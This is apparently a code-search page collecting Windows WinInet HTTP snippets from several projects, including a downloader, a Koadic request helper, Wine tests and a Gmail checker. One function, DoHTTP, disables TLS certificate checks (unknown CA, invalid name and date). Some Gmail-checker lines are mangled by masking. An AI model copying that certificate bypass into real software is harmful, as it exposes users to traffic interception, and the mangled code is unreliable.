	if (!HttpQueryInfoA(hRequest, HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwTotalSize, &dwSize, NULL)) {
		dprintf("Unable to retrieve file length: %s\n", WinInetErrorString());
		goto out;
	}
	dprintf("File length: %d bytes\n", dwTotalSize);

	hFile = CreateFileU(file, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		dprintf("Unable to create file '%s': %s\n", &file[last_slash], WinInetErrorString());
		goto out;
	}

	// Keep checking for data until there is nothing left.
	dwSize = 0;
	while (1) {
		if (IS_ERROR(error_code))
			goto out;

		if (!InternetReadFile(hRequest, buf, sizeof(buf), &dwDownloaded) || (dwDownloaded == 0))
			break;
		dwSize += dwDownloaded;
		SendMessage(hProgressBar, PBM_SETPOS, (WPARAM)(MAX_PROGRESS*((1.0f*dwSize)/(1.0f*dwTotalSize))), 0);
		static_sprintf(msg, "Downloading: %0.1f%%", (100.0f*dwSize)/(1.0f*dwTotalSize));
		print_status(0, FALSE, msg);
		if (!WriteFile(hFile, buf, dwDownloaded, &dwWritten, NULL)) {
			dprintf("Error writing file '%s': %s\n", &file[last_slash], WinInetErrorString());
			goto out;
		} else if (dwDownloaded != dwWritten) {
			dprintf("Error writing file '%s': Only %d/%d bytes written\n", dwWritten, dwDownloaded);
			goto out;
		}
	}

	if (dwSize != dwTotalSize) {
		dprintf("Could not download complete file - read: %d bytes, expected: %d bytes\n", dwSize, dwTotalSize);
		error_code = ERROR_SEVERITY_ERROR|ERROR_WRITE_FAULT;
		goto out;
	} else {
		r = TRUE;
		dprintf("Successfully downloaded '%s'\n", &file[last_slash]);
	}

out:
	if (hProgressDialog != NULL)
		SendMessage(hProgressDialog, UM_DOWNLOAD_EXIT, (WPARAM)r, 0);
	if (hFile != INVALID_HANDLE_VALUE) {
		// Force a flush - May help with the PKI API trying to process downloaded updates too early...
		FlushFileBuffers(hFile);
		CloseHandle(hFile);
	}
	if (!r) {
		if (file != NULL)
			_unlinkU(file);
		print_status(0, FALSE, "Failed to download file.");
		SetLastError(error_code);
		MessageBoxU(hMainDialog, WinInetErrorString(), "File download", MB_OK|MB_ICONERROR);
	}
	if (hRequest)
		InternetCloseHandle(hRequest);
	if (hConnection)
		InternetCloseHandle(hConnection);
	if (hSession)
		InternetCloseHandle(hSession);

	return r?dwSize:0;
}
Exemple #11
0
BOOL koadic_http_request(LPCSTR host, WORD port, BOOL secure, LPCSTR verb, LPCSTR path, LPCSTR szHeaders, SIZE_T nHeaderSize,
	LPCSTR postData, SIZE_T nPostDataSize, char **data, LPDWORD dwDataSize)
{
	HINTERNET hIntSession = NULL;
	HINTERNET hHttpSession = NULL;
	HINTERNET hHttpRequest = NULL;
	DWORD dwFlags = 0;

	BOOL ret = FALSE;
	do
	{
		hIntSession = InternetOpenA("Mozilla 5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

		if (NULL == hIntSession)
			break;

		hHttpSession = InternetConnectA(hIntSession, host, port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL);

		if (NULL == hHttpSession)
			break;

		dwFlags |= INTERNET_FLAG_RELOAD;
		if (secure)
			dwFlags |= INTERNET_FLAG_SECURE;

		hHttpRequest = HttpOpenRequestA(hHttpSession, verb, path, 0, 0, 0, dwFlags, 0);

		if (NULL == hHttpRequest)
			break;

		if (!HttpSendRequestA(hHttpRequest, szHeaders, (DWORD)nHeaderSize, (LPVOID)postData, (DWORD)nPostDataSize))
			break;

		CHAR szBuffer[1024];
		CHAR *output = (CHAR*)malloc(1024);
		DWORD dwRead = 0;
		DWORD dwTotalBytes = 0;

		memset(output, 0, 1024);
		memset(szBuffer, 0, sizeof(szBuffer));

		while (InternetReadFile(hHttpRequest, szBuffer, sizeof(szBuffer) - 1, &dwRead) && dwRead)
		{
			DWORD dwOffset = dwTotalBytes;
			dwTotalBytes += dwRead;

			output = (CHAR*)realloc(output, dwTotalBytes);
			memcpy(output + dwOffset, szBuffer, dwRead);

			memset(szBuffer, 0, sizeof(szBuffer));
			dwRead = 0;
		}

		*data = output;
		*dwDataSize = dwTotalBytes;

		ret = TRUE;
	} while (0);

	if (hHttpRequest)
		InternetCloseHandle(hHttpRequest);

	if (hHttpSession)
		InternetCloseHandle(hHttpSession);

	if (hIntSession)
		InternetCloseHandle(hIntSession);

	return ret;
}
Exemple #12
0
/*
 * Download a file from an URL
 * Mostly taken from http://support.microsoft.com/kb/234913
 * If hProgressDialog is not NULL, this function will send INIT and EXIT messages
 * to the dialog in question, with WPARAM being set to nonzero for EXIT on success
 * and also attempt to indicate progress using an IDC_PROGRESS control
 */
BOOL DownloadFile(const char* url, const char* file, HWND hProgressDialog)
{
	HWND hProgressBar = NULL;
	BOOL r = FALSE;
	DWORD dwFlags, dwSize, dwDownloaded, dwTotalSize, dwStatus;
	FILE* fd = NULL;
	LONG progress_style;
	unsigned char buf[DOWNLOAD_BUFFER_SIZE];
	char agent[64], hostname[64], urlpath[128];
	HINTERNET hSession = NULL, hConnection = NULL, hRequest = NULL;
	URL_COMPONENTSA UrlParts = {sizeof(URL_COMPONENTSA), NULL, 1, (INTERNET_SCHEME)0,
		hostname, sizeof(hostname), 0, NULL, 1, urlpath, sizeof(urlpath), NULL, 1};
	int i;
	char msg[MAX_PATH];

	if (hProgressDialog != NULL) {
		// Use the progress control provided, if any
		hProgressBar = GetDlgItem(hProgressDialog, IDC_PROGRESS);
		if (hProgressBar != NULL) {
			progress_style = GetWindowLong(hProgressBar, GWL_STYLE);
			SetWindowLong(hProgressBar, GWL_STYLE, progress_style & (~PBS_MARQUEE));
			SendMessage(hProgressBar, PBM_SETPOS, 0, 0);
		}
		SendMessage(hProgressDialog, UM_DOWNLOAD_INIT, 0, 0);
	}

	safe_sprintf(msg, sizeof(msg), "Downloading %s: Connecting...", file);
	print_status(0, FALSE, msg);
	dprintf("Downloading %s from %s\n", file, url);

	if ( (!InternetCrackUrlA(url, (DWORD)safe_strlen(url), 0, &UrlParts))
	  || (UrlParts.lpszHostName == NULL) || (UrlParts.lpszUrlPath == NULL)) {
		dprintf("Unable to decode URL: %s\n", WindowsErrorString());
		goto out;
	}
	hostname[sizeof(hostname)-1] = 0;

	// Open an Internet session
	for (i=5; (i>0) && (!InternetGetConnectedState(&dwFlags, 0)); i--) {
		Sleep(1000);
	}
	if (i <= 0) {
		// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384702.aspx is wrong...
		SetLastError(ERROR_INTERNET_NOT_INITIALIZED);
		dprintf("Network is unavailable: %s\n", WinInetErrorString());
		goto out;
	}
	safe_sprintf(agent, ARRAYSIZE(agent), APPLICATION_NAME "/%d.%d.%d  (Windows NT %d.%d%s)",
		application_version[0], application_version[1], application_version[2],
		nWindowsVersion >> 4, nWindowsVersion & 0x0F, is_x64() ? "; WOW64" : "");
	hSession = InternetOpenA(agent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hSession == NULL) {
		dprintf("Could not open internet session: %s\n", WinInetErrorString());
		goto out;
	}

	hConnection = InternetConnectA(hSession, UrlParts.lpszHostName, UrlParts.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL);
	if (hConnection == NULL) {
		dprintf("Could not connect to server %s:%d: %s\n", UrlParts.lpszHostName, UrlParts.nPort, WinInetErrorString());
		goto out;
	}

	hRequest = HttpOpenRequestA(hConnection, "GET", UrlParts.lpszUrlPath, NULL, NULL, (const char**)"*/*\0",
		INTERNET_FLAG_HYPERLINK|INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP|INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS|INTERNET_FLAG_NO_COOKIES|
		INTERNET_FLAG_NO_UI|INTERNET_FLAG_NO_CACHE_WRITE, (DWORD_PTR)NULL);
	if (hRequest == NULL) {
		dprintf("Could not open url %s: %s\n", url, WindowsErrorString());
		goto out;
	}

	if (!HttpSendRequestA(hRequest, NULL, 0, NULL, 0)) {
		dprintf("Unable to send request: %s\n", WinInetErrorString());
		goto out;
	}

	// Get the file size
	dwSize = sizeof(dwStatus);
	dwStatus = 404;
	HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE|HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwStatus, &dwSize, NULL);
	if (dwStatus != 200) {
		download_error = ERROR_SEVERITY_ERROR|ERROR_INTERNET_ITEM_NOT_FOUND;
		dprintf("Unable to access file: Server status %d\n", dwStatus);
		goto out;
	}
	dwSize = sizeof(dwTotalSize);
	if (!HttpQueryInfoA(hRequest, HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwTotalSize, &dwSize, NULL)) {
		dprintf("Unable to retrieve file length: %s\n", WinInetErrorString());
		goto out;
	}
	dprintf("File length: %d bytes\n", dwTotalSize);

	fd = fopenU(file, "wb");
	if (fd == NULL) {
		dprintf("Unable to create file '%s': %s\n", file, WinInetErrorString());
		goto out;
	}

	// Keep checking for data until there is nothing left.
	dwSize = 0;
	while (1) {
		if (download_error)
			goto out;

		if (!InternetReadFile(hRequest, buf, sizeof(buf), &dwDownloaded) || (dwDownloaded == 0))
			break;
		dwSize += dwDownloaded;
		SendMessage(hProgressBar, PBM_SETPOS, (WPARAM)(MAX_PROGRESS*((1.0f*dwSize)/(1.0f*dwTotalSize))), 0);
		safe_sprintf(msg, sizeof(msg), "Downloading: %0.1f%%", (100.0f*dwSize)/(1.0f*dwTotalSize));
		print_status(0, FALSE, msg);
		if (fwrite(buf, 1, dwDownloaded, fd) != dwDownloaded) {
			dprintf("Error writing file '%s': %s\n", file, WinInetErrorString());
			goto out;
		}
	}

	if (dwSize != dwTotalSize) {
		dprintf("Could not download complete file - read: %d bytes, expected: %d bytes\n", dwSize, dwTotalSize);
		download_error = ERROR_WRITE_FAULT;
		goto out;
	} else {
		r = TRUE;
		dprintf("Successfully downloaded '%s'\n", file);
	}

out:
	if (hProgressDialog != NULL)
		SendMessage(hProgressDialog, UM_DOWNLOAD_EXIT, (WPARAM)r, 0);
	if (fd != NULL) fclose(fd);
	if (!r) {
		_unlink(file);
		print_status(0, FALSE, "Failed to download file.");
		SetLastError(download_error);
		MessageBoxU(hMain, WinInetErrorString(), "File download", MB_OK|MB_ICONERROR);
	}
	if (hRequest) InternetCloseHandle(hRequest);
	if (hConnection) InternetCloseHandle(hConnection);
	if (hSession) InternetCloseHandle(hSession);

	return r;
}
Exemple #13
0
static void InternetQueryOptionA_test(void)
{
  HINTERNET hinet,hurl;
  DWORD len;
  DWORD err;
  static const char useragent[] = {"Wininet Test"};
  char *buffer;
  int retval;

  hinet = InternetOpenA(useragent,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL, 0);
  ok((hinet != 0x0),"InternetOpen Failed\n");

  SetLastError(0xdeadbeef);
  len=strlen(useragent)+1;
  retval=InternetQueryOptionA(hinet,INTERNET_OPTION_USER_AGENT,NULL,&len);
  err=GetLastError();
  ok(len == strlen(useragent)+1,"Got wrong user agent length %ld instead of %d\n",len,lstrlenA(useragent));
  ok(retval == 0,"Got wrong return value %d\n",retval);
  todo_wine ok(err == ERROR_INSUFFICIENT_BUFFER, "Got wrong error code%ld\n",err);

  SetLastError(0xdeadbeef);
  len=strlen(useragent)+1;
  buffer=HeapAlloc(GetProcessHeap(),0,len);
  retval=InternetQueryOptionA(hinet,INTERNET_OPTION_USER_AGENT,buffer,&len);
  err=GetLastError();
  todo_wine ok(!strcmp(useragent,buffer),"Got wrong user agent string %s instead of %s\n",buffer,useragent);
  todo_wine ok(len == strlen(useragent),"Got wrong user agent length %ld instead of %d\n",len,lstrlenA(useragent));
  todo_wine ok(retval == 1,"Got wrong return value %d\n",retval);
  ok(err == 0xdeadbeef, "Got wrong error code %ld\n",err);
  HeapFree(GetProcessHeap(),0,buffer);

  SetLastError(0xdeadbeef);
  len=0;
  buffer=HeapAlloc(GetProcessHeap(),0,100);
  retval=InternetQueryOptionA(hinet,INTERNET_OPTION_USER_AGENT,buffer,&len);
  err=GetLastError();
  todo_wine ok(len == strlen(useragent) + 1,"Got wrong user agent length %ld instead of %d\n", len, lstrlenA(useragent) + 1);
  ok(!retval, "Got wrong return value %d\n", retval);
  todo_wine ok(err == ERROR_INSUFFICIENT_BUFFER, "Got wrong error code %ld\n", err);
  HeapFree(GetProcessHeap(),0,buffer);

  hurl = InternetConnectA(hinet,"www.winehq.com",INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0);

  SetLastError(0xdeadbeef);
  len=0;
  retval = InternetQueryOptionA(hurl,INTERNET_OPTION_USER_AGENT,NULL,&len);
  err=GetLastError();
  ok(len == 0,"Got wrong user agent length %ld instead of 0\n",len);
  ok(retval == 0,"Got wrong return value %d\n",retval);
  todo_wine ok(err == ERROR_INTERNET_INCORRECT_HANDLE_TYPE, "Got wrong error code %ld\n",err);

  InternetCloseHandle(hurl);
  InternetCloseHandle(hinet);

  hinet = InternetOpenA("",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL, 0);
  ok((hinet != 0x0),"InternetOpen Failed\n");

  SetLastError(0xdeadbeef);
  len=0;
  retval=InternetQueryOptionA(hinet,INTERNET_OPTION_USER_AGENT,NULL,&len);
  err=GetLastError();
  todo_wine ok(len == 1,"Got wrong user agent length %ld instead of %d\n",len,1);
  ok(retval == 0,"Got wrong return value %d\n",retval);
  todo_wine ok(err == ERROR_INSUFFICIENT_BUFFER, "Got wrong error code%ld\n",err);

  InternetCloseHandle(hinet);

  hinet = InternetOpenA(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL, 0);
  ok((hinet != 0x0),"InternetOpen Failed\n");
  SetLastError(0xdeadbeef);
  len=0;
  retval=InternetQueryOptionA(hinet,INTERNET_OPTION_USER_AGENT,NULL,&len);
  err=GetLastError();
  todo_wine ok(len == 1,"Got wrong user agent length %ld instead of %d\n",len,1);
  ok(retval == 0,"Got wrong return value %d\n",retval);
  todo_wine ok(err == ERROR_INSUFFICIENT_BUFFER, "Got wrong error code%ld\n",err);

  InternetCloseHandle(hinet);
}
Exemple #14
0
void CheckMailInbox(Account *curAcc)
{
	// internet connection handle
	// internet request handle
	HINTERNET hHTTPConnection = 0, hHTTPRequest = 0;		    

	DBVARIANT dbv;
	static char *contentType = "Content-Type: application/x-www-form-urlencoded";
	char requestBuffer[256] = "continue=https%3A%2F%2Fmail.google.com%2Fa%2F";
	char fileBuffer[_MAX_DOWN_BUFFER] = "";
	char *tail;
	char str[64];
	char temp[_MAX_DOWN_BUFFER] = "";
	unsigned long bufferLength;

	if (curAcc->IsChecking)
		return;

	curAcc->IsChecking = TRUE;

	if (!db_get_s(curAcc->hContact, "CList", "MyHandle", &dbv)) {
		mir_strcpy(curAcc->results.content, dbv.pszVal);
		db_free(&dbv);
	}
	else mir_strcpy(curAcc->results.content, curAcc->name);

	tail = strstr(curAcc->results.content, " [");
	if (tail) *tail = '\0';
	mir_strcat(curAcc->results.content, " [");

	mir_strcpy(str, curAcc->results.content);
	mir_strcat(str, Translate("Checking..."));
	mir_strcat(str, "]");

	db_set_s(curAcc->hContact, "CList", "MyHandle", str);
	// internet open handle
	HINTERNET hHTTPOpen = InternetOpenA("", INTERNET_OPEN_TYPE_PRECONFIG, "", "", 0);
	if (!hHTTPOpen) {
		mir_strcat(curAcc->results.content, Translate("Can't open Internet!"));
		goto error_handle;
	}

	if (curAcc->hosted[0]) {
		hHTTPConnection = InternetConnectA(hHTTPOpen,
			"www.google.com",
			INTERNET_DEFAULT_HTTPS_PORT,
			NULL,
			NULL,
			INTERNET_SERVICE_HTTP,
			0,
			0);

		if (!hHTTPConnection) {
			mir_strcat(curAcc->results.content, Translate("Can't reach server!"));
			goto error_handle;
		}
		mir_strcpy(str, "/a/");
		mir_strcat(str, curAcc->hosted);
		mir_strcat(str, "/LoginAction");
		hHTTPRequest = HttpOpenRequestA(hHTTPConnection, "POST", str, HTTP_VERSIONA, NULL, NULL, INTERNET_FLAG_SECURE, 0);
		mir_strcat(requestBuffer, curAcc->hosted);
		mir_strcat(requestBuffer, "%2Ffeed%2Fatom&service=mail&userName="******"&password="******"Can't send account data!"));
			goto error_handle;
		}

		InternetCloseHandle(hHTTPConnection);
		InternetCloseHandle(hHTTPRequest);
		hHTTPRequest = 0;
	}

	hHTTPConnection = InternetConnectA(hHTTPOpen, "mail.google.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	if (!hHTTPConnection) {
		mir_strcat(curAcc->results.content, Translate("Can't reach server!"));
		goto error_handle;
	}
	if (curAcc->hosted[0]) {
		mir_strcpy(str, "/a/");
		mir_strcat(str, curAcc->hosted);
		mir_strcat(str, "/feed/atom");
	}
	else mir_strcpy(str, "/mail/feed/atom");

	hHTTPRequest = HttpOpenRequest(hHTTPConnection, _T("GET"), _A2T(str), NULL, NULL, NULL, INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, 0);
	InternetSetOption(hHTTPRequest, INTERNET_OPTION_USERNAME, _A2T(curAcc->name), (int)mir_strlen(curAcc->name) + 1);
	InternetSetOption(hHTTPRequest, INTERNET_OPTION_PASSWORD, _A2T(curAcc->pass), (int)mir_strlen(curAcc->pass) + 1);
	if (!HttpSendRequest(hHTTPRequest, NULL, 0, NULL, 0)) {
		mir_strcat(curAcc->results.content, Translate("Can't get RSS feed!"));
		goto error_handle;
	}
	while (InternetReadFile(hHTTPRequest, temp, _MAX_DOWN_BUFFER, &bufferLength) && bufferLength > 0) {
		temp[bufferLength] = '\0';
		mir_strcat(fileBuffer, temp);
	}

	fileBuffer[_MAX_DOWN_BUFFER - 1] = '\0';
	curAcc->results_num = ParsePage(fileBuffer, &curAcc->results);
	if (curAcc->results_num == -1) {
		mir_strcat(curAcc->results.content, Translate("Wrong name or password!"));
		goto error_handle;
	}
	InternetCloseHandle(hHTTPOpen);
	InternetCloseHandle(hHTTPConnection);
	InternetCloseHandle(hHTTPRequest);

	mir_strcat(curAcc->results.content, _itoa(curAcc->results_num, str, 10));
	mir_strcat(curAcc->results.content, "]");

	curAcc->IsChecking = FALSE;
	return;

error_handle:
	curAcc->results_num = -1;
	InternetCloseHandle(hHTTPOpen);
	InternetCloseHandle(hHTTPConnection);
	InternetCloseHandle(hHTTPRequest);

	mir_strcat(curAcc->results.content, "]");

	curAcc->IsChecking = FALSE;
}
//Imago 9/14
ZString UTL::DoHTTP(char * szHdrs, char * szHost, char * szVerb, char * szUri, char * PostData, int PostLength, bool bSecure) {
	
	// BT - 7/15 - Fixing handle leaks.
	ZString Response("Finished\n");
	
	HINTERNET hSession = InternetOpenA( "Allegiance", INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
	if(hSession) {
		HINTERNET hConnect = InternetConnectA(hSession,szHost,(bSecure) ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,NULL,NULL);
		if (!hConnect)
			debugf( "Failed to connect to %s\n", szHost);
		else
		{
			debugf("%s %s",szVerb,szUri);
			HINTERNET hRequest = HttpOpenRequestA(hConnect,szVerb,szUri,NULL,NULL,NULL,(bSecure) ? INTERNET_FLAG_SECURE|INTERNET_FLAG_NO_CACHE_WRITE : INTERNET_FLAG_NO_CACHE_WRITE,0);
			if (!hRequest)
				debugf( "Failed to open request handle\n" );
			else
			{
				DWORD dwFlags;
				DWORD dwBuffLen = sizeof(dwFlags);
				InternetQueryOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
				dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;

				// BT - 7/15 - CSS Service integration
				dwFlags |= INTERNET_FLAG_IGNORE_CERT_CN_INVALID; // Enables usage of locally generated certs. Not very secure, but works if you are on a shoestring budget!
				dwFlags |= INTERNET_FLAG_IGNORE_CERT_DATE_INVALID; // Enables usage of locally generated certs. Not very secure, but works if you are on a shoestring budget!

				InternetSetOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS,&dwFlags,sizeof(dwFlags));
				
				if (PostLength == 0)
					PostData = NULL;

				// BT - 7/15 - Cleaned up handle leaks.
				if(HttpSendRequestA(hRequest,szHdrs,strlen(szHdrs),PostData,PostLength))
				{	
					char pcBuffer[4096];
					DWORD dwBytesRead = 0;

					debugf("\nThe following was returned by the server:\n");
		
					if(InternetReadFile(hRequest, pcBuffer, 4096-1, &dwBytesRead))
					{
						pcBuffer[dwBytesRead]=0x00; // Null-terminate buffer
						debugf("%s", pcBuffer);
						Response = ZString(pcBuffer, (int)dwBytesRead);
					}
					else
					{
						debugf("\nInternetReadFile failed\n");
					}

					debugf("\n");
				}

				if (!InternetCloseHandle(hRequest))
					debugf( "Failed to close Request handle\n" );
			}

			if(!InternetCloseHandle(hConnect))
				debugf("Failed to close Connect handle\n");
		}

		if( InternetCloseHandle( hSession ) == FALSE )
			debugf( "Failed to close Session handle\n" );

		DWORD dwError = GetLastError();
		debugf( "\nFinished: %d.\n",dwError);
		return Response;
	} 
	else 
	{
		debugf("Failed to open WinInet session\n");
		return "Failed to open WinInet session\n";
	}
}
bool ResourceHandle::start(Frame* frame)
{
    ref();
    if (url().isLocalFile()) {
        String path = url().path();
        // windows does not enjoy a leading slash on paths
        if (path[0] == '/')
            path = path.substring(1);
        // FIXME: This is wrong. Need to use wide version of this call.
        d->m_fileHandle = CreateFileA(path.utf8().data(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

        // FIXME: perhaps this error should be reported asynchronously for
        // consistency.
        if (d->m_fileHandle == INVALID_HANDLE_VALUE) {
            delete this;
            return false;
        }

        d->m_fileLoadTimer.startOneShot(0.0);
        return true;
    } else {
        static HINTERNET internetHandle = 0;
        if (!internetHandle) {
            String userAgentStr = frame->loader()->userAgent() + String("", 1);
            LPCWSTR userAgent = reinterpret_cast<const WCHAR*>(userAgentStr.characters());
            // leak the Internet for now
            internetHandle = InternetOpen(userAgent, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, INTERNET_FLAG_ASYNC);
        }
        if (!internetHandle) {
            delete this;
            return false;
        }
        static INTERNET_STATUS_CALLBACK callbackHandle = 
            InternetSetStatusCallback(internetHandle, transferJobStatusCallback);

        initializeOffScreenResourceHandleWindow();
        d->m_jobId = addToOutstandingJobs(this);

        DWORD flags =
            INTERNET_FLAG_KEEP_CONNECTION |
            INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS |
            INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP;

        // For form posting, we can't use InternetOpenURL.  We have to use
        // InternetConnect followed by HttpSendRequest.
        HINTERNET urlHandle;
        String referrer = frame->loader()->referrer();
        if (method() == "POST") {
            d->m_postReferrer = referrer;
            String host = url().host();
            urlHandle = InternetConnectA(internetHandle, host.latin1().data(),
                                         url().port(),
                                         NULL, // no username
                                         NULL, // no password
                                         INTERNET_SERVICE_HTTP,
                                         flags, (DWORD_PTR)d->m_jobId);
        } else {
            String urlStr = url().string();
            int fragmentIndex = urlStr.find('#');
            if (fragmentIndex != -1)
                urlStr = urlStr.left(fragmentIndex);
            String headers;
            if (!referrer.isEmpty())
                headers += String("Referer: ") + referrer + "\r\n";

            urlHandle = InternetOpenUrlA(internetHandle, urlStr.latin1().data(),
                                         headers.latin1().data(), headers.length(),
                                         flags, (DWORD_PTR)d->m_jobId);
        }

        if (urlHandle == INVALID_HANDLE_VALUE) {
            delete this;
            return false;
        }
        d->m_threadId = GetCurrentThreadId();

        return true;
    }
}
Exemple #17
0
/**
 * Prepares request and opens a session handle.
 */
static int wininetSendRequest(KSI_NetworkClient *client, KSI_RequestHandle *handle, char *url) {
	int res;
	KSI_CTX *ctx = NULL;
	wininetNetHandleCtx *wininetHandle = NULL;
	KSI_HttpClient *http = (KSI_HttpClient *)client;
	HINTERNET internetHandle;
	char msg[1024];
	char *scheme = NULL;
	char *hostName = NULL;
	char *query = NULL;
	int port = 0;


	if (client == NULL || handle == NULL || url == NULL) {
		res = KSI_INVALID_ARGUMENT;
		goto cleanup;
	}
	ctx = handle->ctx;
	KSI_ERR_clearErrors(ctx);

	if (http->implCtx == NULL) {
		res = KSI_INVALID_ARGUMENT;
		KSI_pushError(ctx, res, "Network client http implementation context not set.");
		goto cleanup;
	}

	/*Initializing of wininet helper struct*/
	res = wininetNetHandleCtx_new(&wininetHandle);
	if (res != KSI_OK) {
		KSI_pushError(ctx, res, NULL);
		goto cleanup;
	}

	wininetHandle->ctx = ctx;
	internetHandle = http->implCtx;

	res = KSI_UriSplitBasic(url, &scheme, &hostName, &port, &query);
	if(res != KSI_OK){
		KSI_snprintf(msg, sizeof(msg), "WinINet: Unable to crack url '%s'.", url);
		KSI_pushError(ctx, res, msg);
		goto cleanup;
	}

	if(scheme == NULL || strcmp("http", scheme) != 0 && strcmp("https", scheme) != 0){
		KSI_snprintf(msg, sizeof(msg), "WinINet: unknown Internet scheme '%s'.", scheme);
		KSI_pushError(ctx, res = KSI_INVALID_ARGUMENT, msg);
		goto cleanup;
	}

	if(hostName == NULL || query == NULL){
		KSI_snprintf(msg, sizeof(msg), "WinINet: Invalid url '%s'.", url);
		KSI_pushError(ctx, res = KSI_INVALID_ARGUMENT, msg);
		goto cleanup;
	}

	if (handle->request_length > LONG_MAX) {
		KSI_pushError(ctx, res = KSI_INVALID_ARGUMENT, "WinINet: Request too long.");
		goto cleanup;
	}

	KSI_LOG_debug(ctx, "WinINet: Sending request to: %s.", url);
	/*Preparing session handle*/
	//Opens an HTTP session for a given site
	wininetHandle->session_handle = InternetConnectA(internetHandle, hostName, port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	if (wininetHandle->session_handle == NULL) {
		WININET_ERROR(ctx, GetLastError(), KSI_NETWORK_ERROR, "WinINet: Unable to initialize connection handle.");
	}

	wininetHandle->request_handle = HttpOpenRequestA(wininetHandle->session_handle,
		(handle->request == NULL ? "GET" : "POST"),
		query, NULL, NULL, NULL,
		(strcmp("https", scheme) == 0 ? INTERNET_FLAG_SECURE : 0),
		0);

	if (wininetHandle->request_handle == NULL){
		WININET_ERROR(ctx, GetLastError(), KSI_NETWORK_ERROR, "WinINet: Unable to initialize request handle.");
	}

	/*TODO Timeout is set, but seems to have no effect*/
	if (http->connectionTimeoutSeconds >= 0) {
		DWORD dw = (http->connectionTimeoutSeconds == 0 ? 0xFFFFFFFF : http->connectionTimeoutSeconds * 1000);
		if (!InternetSetOption(wininetHandle->request_handle, INTERNET_OPTION_CONNECT_TIMEOUT, &dw, sizeof(dw))){
			WININET_ERROR(ctx, GetLastError(), KSI_NETWORK_ERROR, "WinINet: Unable to set connection timeout.");
		}
	}

	if (http->readTimeoutSeconds >= 0) {
		DWORD dw = (http->readTimeoutSeconds == 0 ? 0xFFFFFFFF : http->readTimeoutSeconds * 1000);
		if (!InternetSetOption(wininetHandle->request_handle, INTERNET_OPTION_SEND_TIMEOUT, &dw, sizeof(dw))){
			WININET_ERROR(ctx, GetLastError(), KSI_NETWORK_ERROR, "WinINet: Unable to set send timeout.");
		}
		if (!InternetSetOption(wininetHandle->request_handle, INTERNET_OPTION_RECEIVE_TIMEOUT, &dw, sizeof(dw))){
			WININET_ERROR(ctx, GetLastError(), KSI_NETWORK_ERROR, "WinINet: Unable to set receive timeout.");
		}
	}

	handle->readResponse = wininetReceive;
	handle->client = client;

    res = KSI_RequestHandle_setImplContext(handle, wininetHandle, (void (*)(void *))wininetNetHandleCtx_free);
	if (res != KSI_OK) {
		KSI_pushError(ctx, res, NULL);
		goto cleanup;
	}

    wininetHandle = NULL;
	res = KSI_OK;

cleanup:

	wininetNetHandleCtx_free(wininetHandle);

	KSI_free(query);
	KSI_free(hostName);
	KSI_free(scheme);

	return res;
}
int GTHTTP_sendRequest(const char *url,
                       const unsigned char *request, size_t request_length,
                       unsigned char **response, size_t *response_length,
                       char **error)
{
    int res = GT_UNKNOWN_ERROR;
    char *host = NULL, *query = NULL;
    URL_COMPONENTS uc = { sizeof(uc) };
    HINTERNET cnx = NULL, req = NULL;
    DWORD http_res;
    DWORD http_res_len = sizeof(http_res);
    char *http_msg = NULL;
    DWORD http_msg_len = 0;
    unsigned char *resp = NULL;
    size_t resp_len = 0;

    if (url == NULL || response == NULL || response_length == NULL) {
        res = GT_INVALID_ARGUMENT;
        goto cleanup;
    }

    // extract host, port, and query from the URL
    uc.dwHostNameLength = 1;
    uc.dwUrlPathLength = 1;
    uc.dwExtraInfoLength = 1;
    if (!InternetCrackUrlA(url, 0, 0, &uc)) {
        res = map_impl(GetLastError());
        goto cleanup;
    }
    if (uc.lpszHostName == NULL || uc.dwHostNameLength == 0) {
        res = GT_INVALID_ARGUMENT;
        goto cleanup;
    }
    host = GT_malloc(uc.dwHostNameLength + 1);
    if (host == NULL) {
        res = GT_OUT_OF_MEMORY;
        goto cleanup;
    }
    strncpy_s(host, uc.dwHostNameLength + 1, uc.lpszHostName, uc.dwHostNameLength);
    if (uc.lpszUrlPath == NULL || uc.dwUrlPathLength == 0) {
        res = GT_INVALID_ARGUMENT;
        goto cleanup;
    }
    query = GT_malloc(uc.dwUrlPathLength + uc.dwExtraInfoLength + 1);
    if (query == NULL) {
        res = GT_OUT_OF_MEMORY;
        goto cleanup;
    }
    strncpy_s(query, uc.dwUrlPathLength + 1, uc.lpszUrlPath, uc.dwUrlPathLength);
